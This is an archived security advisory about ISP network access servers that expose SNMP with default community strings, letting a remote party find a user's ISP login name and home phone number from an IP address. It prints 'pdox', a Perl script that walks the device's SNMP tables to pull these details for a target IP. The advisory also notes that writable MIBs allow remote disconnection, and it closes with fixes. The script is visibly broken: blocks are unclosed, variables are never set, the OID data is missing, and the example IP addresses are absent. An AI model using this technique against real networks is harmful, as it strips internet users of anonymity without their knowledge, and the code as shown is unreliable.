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TUCoPS :: Unix :: General :: snmp11-1.htm

SNMP can be used to get personal information about any internet user!





    JavaMan found  that three  major backbone  providers are vunerable
    to this sort  of probing.   When notified, they  locked down their
    network,  and  threatened  legal   action  if  their  names   were
    mentioned in a  bugtraq post on  which this advisory  is based on.
    Authors are Lumpy and Javaman, of Philtered.Net.

    Although prized  by many  users of  the Internet,  the concept  of
    privacy  has  been  threatened  from  many angles in recent years.
    With the rise of free web-based e-mail and advertisement-sponsored
    dialup, users have been providing more personal information  about
    their shopping habits and interests, but rarely anything that  can
    trace them to their real-life  identity, such as a Internet  login
    name,  real  name,  home  phone  number,  or  SSN.   A  team  from
    Philtered.Net has recently found that  this has not been the  case
    for many years.  Due to security issues that have been long  known
    and  long  unresolved  on  the  network  level,  it is possible to
    retrieve a user's ISP login  name remotely, and on some  pieces of
    hardware, their home phone  number, without their knowledge.   The
    only  information  required  to  preform  this  transaction is the
    user's IP  address, which  can be  retrieved via  logs of recently
    visited  web  pages,  or,  not  surprisingly,  from the headers of
    e-mails sent via services such as  HotMail.  In our eyes, this  is
    a problem.

    Every machine on the Internet, short of some private networks,  is
    addressed via an IP address.  This IP address is a unique identity
    for the computer  for the duration  of connection to  the network.
    When  communication  with  another  system  on  the  Internet   is
    conducted, each packet sent is  tagged with the recipient and  the
    sender's  IP  address.   Consequently,  it  is  possible  to route
    backwards to the  end user's machine.   This is not  important for
    our discussion.

    Enter SNMP, the Simple Network Management Protocol.  This protocol
    allows users of  network equipment, (ie.  Network Administrators),
    to remotely  query the  state of  the machine  to test  for system
    load, utilization, and configuration.  This technique  facilitates
    centralized  network  monitoring,  an  important  capability   for
    high-reliability networks.  The problem, however, is that many  of
    those who run these networks  neglected to provide for the  proper
    security  restrictions.   Because  of  this,  remote  unauthorized
    users can query the state of private networks.  This is not a  new
    problem.  This is a very  old issue that has been ignored  for too
    long.  What is new, however, is the large number of users who  are
    now  on  dialup  access,  and  consequently, dialed into unsecured
    servers.  Additionally, no  one released a tool  that specifically
    targets personal information in this way -- until now.

    A member  of Phitered.Net  has written  a tool  using Perl and the
    CMU-SNMP library that can extract personal information of the  end
    user via  connecting to  their network  access server.   This also
    means that no connection  to the end user  is ever made; the  only
    network connection  made is  to the  first machine  after the  end

    To show how  simple it is  to gain information,  via the Internet,
    based simply on their current IP  address, here is a step by  step
    description  on  how  we  might  gain personal information about a
    user with the IP  address  It  is important to note  that
    in most cases our target will not even know that they are a target
    of inquiry, since the procedure  does not specify for any  packets
    to  be  sent  to  their  personal  computer.   For the most simple
    attack, we need to know the address of the device that our  target
    is connected through, that is to say, the first machine that  each
    packet to the Internet is being routed through.  If we executed  a
    'traceroute'  to  the  users  address,  they  could surely see our
    traffic.   However, because  most of  the end  user access devices
    (ie terminal servers, DSL access  units) handle many users, it  is
    usually  possible  to  trace  to  an  IP  address  just one or two
    addresses from our target.

    In  this  case,  we  will  trace  to   Our   theoritical
    traceroute shows  us that  the hop  just before should be  If SNMP is enabled on this device, it is often  possible
    to locate  both the  username and  phone number  of the  end user.
    The phone number and username are extracted from the MIB from  the
    end user device.  By requesting the system description of the  end
    unit  via  SNMP,  we  can  quickly  locate  the MIB, the connected
    client's address table.  Once we know where the IP address of  our
    target is located in  the table, we can  use its location in  that
    table to determine other relevant information about the end  user.
    The theoritical attacker  can often determine  the speed and  type
    of  connection,  the  username  used  on  the ISP, idle time, time
    online, and  most disturbingly,  other personal  information, such
    as the phone number of the end user.

    In some cases, the MIB is also writable by remote users.  In  this
    situation, remote users can  maliciously disconnect the end  user,
    or alter  their data  routes.   In some  cases, the  entire device
    that the end user is connected to can be powered down or rebooted.

    Below is the Perl scipt we used to demonstrate the issue.   Please
    use this to only test your own network.

        --- Start of ---
        ## By: lumpy_
        ## Description:
        ##	Polls SNMP data on terminal servers.
        ## Requires:
        ##	UCD-SNMP
        ##	- By: Wes Hardaker
        ##	-
        ## 	Net::SNMP
        ##	- By: David M. Town
        ##	- ../CPAN/modules/by-module/Net/Net-SNMP-2.00.tar.gz
        ## Many thanks to:
        ## Javaman, Sangfroid, miff, floydy, negapluck, sirsyko, hyenur, and hal
        use Net::SNMP;
        sub syntax {
	        print "Syntax:\n\tpdox _NAS_DEVICE_ _IP_ [community]\n\n";
        sub snmpget {
	        ($session, $error) = Net::SNMP->session(
        	        Hostname => $hostname, Community => $community, Port => $port );
	        if (!defined($session)) { print("## Cant open device.\n"); exit(1); }
	        if (!defined($response = $session->get_request($oid_to_get))) {
                printf("## %s\n", $session->error); $session->close;exit(1);}
	        $retval=unpack("A*",pack("H*",$retval)) if (retval =~ /^0x/);
        sub snmpwalk {
	        ($session, $error) = Net::SNMP->session(
        	        Hostname => $hostname, Community => $community, Port => $port );
	        if (!defined($session)) { print("## Cant open device.\n"); exit(1); }
	        if (!defined($response = $session->get_table($oid_to_get))) {
                printf("## %s\n", $session->error); $session->close;exit(1);}
        ## Main
        $hostname  = @ARGV[0];
        $ip_were_hunting = @ARGV[1];
        $community = @ARGV[2] || 'public';
        $port      = 161;
        if (!$hostname || !$ip_were_hunting) { syntax; }
        print "\n### pdox 2.0\n";
        print "## Got System Description: ",substr($sysdesc,0,50),"\n";
        while(<DAT>) {
	        next if (/^#/);
	        if ($sysdesc =~ /@parts[0]/i) {$found++; last;}
        if (!($found)) { print "## Unsupported device!\n"; exit(1); }
        foreach ( sort keys %$response ) {
           if ($response->{$_} eq $ip_were_hunting)
	        {$location=$_; substr($location,0,length(@parts[1]))=""; $found++;
	         print "## Found $ip_were_hunting in mib. location: $location\n";
        if (!($found)) { print "## Couldnt find user in mib!\n"; exit(1); }
        if (defined(@parts[2])) {
	        print "## Username: ",snmpget(@parts[2].$location),"\n";}
        if (defined(@parts[3])) {
	        print "## Phone: ",snmpget(@parts[3].$location),"\n";}
        print "\n";
        exit 0;
        --- Start of pdox.dat ---
        #Vendor User Address Phone
        cvx . . .
        aptis . . .


    This in  not a  vulnerablity so  much as  a bad security practice.
    It's akin to leaving your password file (with hashes) in your  ftp
    /etc dir or  anonymous ftp server....   or allowing a  zone to  be
    pulled from your nameserver.   It can easily be locked  down, many
    folks don't do it  tho (then again, a  lot do, and they  have many
    pagers  that  will  go  off   when  you  try  and  hit   SNMP/pull
    zone/etc...).  Fix:

        - Block SNMP access
        - Change community names
        - Filter access to network hardware

    It is important to note that  these security holes are as easy  to
    exploit on  DSL connections  as they  are wit  dialup connections.
    These problems are easily  located by security scanning  software.
    ISPs  need  to  be  aware  that  they  are not exempt from needing
    constant security audits in order to ensure QoS.

    Machines shipping with SNMP communities of "public" and  "private"
    are inherently  insecure (like  a default  shipment of  NT).  Most
    vendors supply docs  that say, to  the effect, change  the strings
    now or  you're in  a world  of hurt.   Some, unfortunately,  don't
    educate  the  end  user  in  this  matter.  Lastly, having an SNMP
    string of "public" not only  reveals customer info, it can  reveal
    passwords, network  architecture, trusted  hosts..   anything that
    would be found  in a config  or statistics from  a network device.
    If a malicious  user was going  through the trouble  (and risk) of
    probing  SNMP  on  a  box,  their  are better targets than the end
    user...  the ISP for example.

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